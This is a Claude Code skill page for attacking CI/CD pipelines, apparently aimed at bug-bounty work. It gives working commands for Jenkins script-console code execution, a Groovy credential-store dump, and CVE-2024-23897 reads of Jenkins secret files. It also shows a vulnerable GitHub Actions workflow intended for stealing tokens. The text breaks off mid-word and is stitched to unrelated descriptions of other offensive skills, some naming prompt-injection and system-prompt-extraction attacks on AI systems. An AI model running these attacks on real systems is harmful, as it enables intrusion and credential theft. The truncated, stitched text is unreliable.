hunt-cicd
# hunt-cicd This Claude Code skill identifies and exploits critical vulnerabilities in CI/CD pipelines including Jenkins script-console remote code execution, GitHub Actions pull request injection attacks via workflow environment variables, self-hosted runner poisoning, OIDC trust-policy misconfiguration, and Terraform state file secret leakage. Use it when targeting organizations with public GitHub or GitLab repositories, exposed CI/CD dashboards (Jenkins, TeamCity, Drone, Argo), publicly accessible build artifacts, or when suspicious CI configuration files are discovered during reconnaissance.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-cicd && cp -r /tmp/hunt-cicd/skills/hunt-cicd ~/.claude/skills/hunt-cicdSKILL.md
# HUNT-CICD — CI/CD Pipeline Security
## Crown Jewel Targets
Jenkins `/script` console reachable = immediate RCE. A GitHub Actions `pull_request_target` (or `workflow_run`) workflow that checks out the **PR head ref** and references untrusted `${{ github.event.* }}` in a shell `run:` = "Pwnrequest" → secret exfil from a fork PR with zero approval.
**Highest-value findings:**
- **Jenkins Script Console** — Groovy execution → full RCE → dump the credential store
- **Jenkins CLI file read (CVE-2024-23897)** — pre-auth `@/etc/passwd` arg expansion → read `secret.key`/`credentials.xml` → forge admin → RCE
- **GitHub Actions `pull_request_target` injection (Pwnrequest)** — fork PR controls `${{ }}` inside a privileged shell step → exfil `GITHUB_TOKEN` (often `contents:write`) and org secrets
- **Self-hosted runner poisoning** — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft
- **OIDC trust-policy abuse** — over-broad `sub` claim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role
- **Terraform state leakage** — `*.tfstate` in public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys
- **Runner token / artifact / log leakage** — register attacker runner, or harvest secrets printed before `::add-mask::`
---
## "It-Didn't-Happen-Without-Proof" Gate (Read First)
CI/CD findings are over-reported because dashboards *look* exploitable. Before claiming anything:
1. **A login page is not an RCE.** A reachable `/script` URL that returns a Jenkins login or `403` is **not** an unauthenticated script console. Only an actual `scriptText` POST returning your command's output counts.
2. **A `pull_request_target` workflow is not automatically injectable.** It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR.
3. **Blind injection requires OOB.** If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
4. **A `.tfstate` HTTP 200 is not cred exposure until you parse it.** Diff against a baseline (see FP section) — many `tfstate` files contain only resource IDs and outputs, no secrets.
---
## Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897
```bash
# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done
```
**Unauthenticated script console → RCE (only if the POST returns output):**
```bash
# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
--data-urlencode 'script=println "id".execute().text'
```
**Dump the credential store** (Groovy decrypts secrets the UI masks):
```groovy
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.secret}"
}
```
**CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI** (args4j `@`-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading `secret.key` + `master.key` to decrypt `credentials.xml`, or reading a user's `config.xml` API token:
```bash
# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
# @/var/lib/jenkins/secret.key @/var/lib/jenkins/secrets/master.key
# @/var/lib/jenkins/credentials.xml
```
Validation: the response must contain real file content (root:x:0:0). A generic "no such agent" with no leaked line means the instance is patched or the path is wrong — not a finding.
---
## Phase 2 — GitHub Actions: Pwnrequest, `${{ }}`-into-Shell, Runner Poisoning, OIDC
### The core distinction (this is where 90% of false PoCs die)
There are **two** sink classes — they need different payloads:
- **`${{ }}` template expansion into a shell `run:`** — the expression is substituted into the script *before* the shell runs, so a newline/backtick/`$(...)` in the untrusted field becomes literal shell. This is the classic injection.
- **Environment variable read inside the shell** — `GITHUB_TOKEN`, `secrets.X`, and any `env:`-mapped value are **shell variables whose value IS the string**. To exfiltrate them you use `echo`/`printenv`, **never** `cat $VAR` (that tries to open a file *named* by the token and prints nothing).
```yaml
# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target # runs with write token + secrets, on fork PRs
jobs:
build:
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} } # checks out ATTACKER code
- run: echo "Building PR ${{ github.event.pull_request.title }}" # ← ${{ }} INJECTION
```
**Attack via the `${{ }}` sink** — set the PR **title** (or branch name, body, label, commit message — all attacker-controlEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.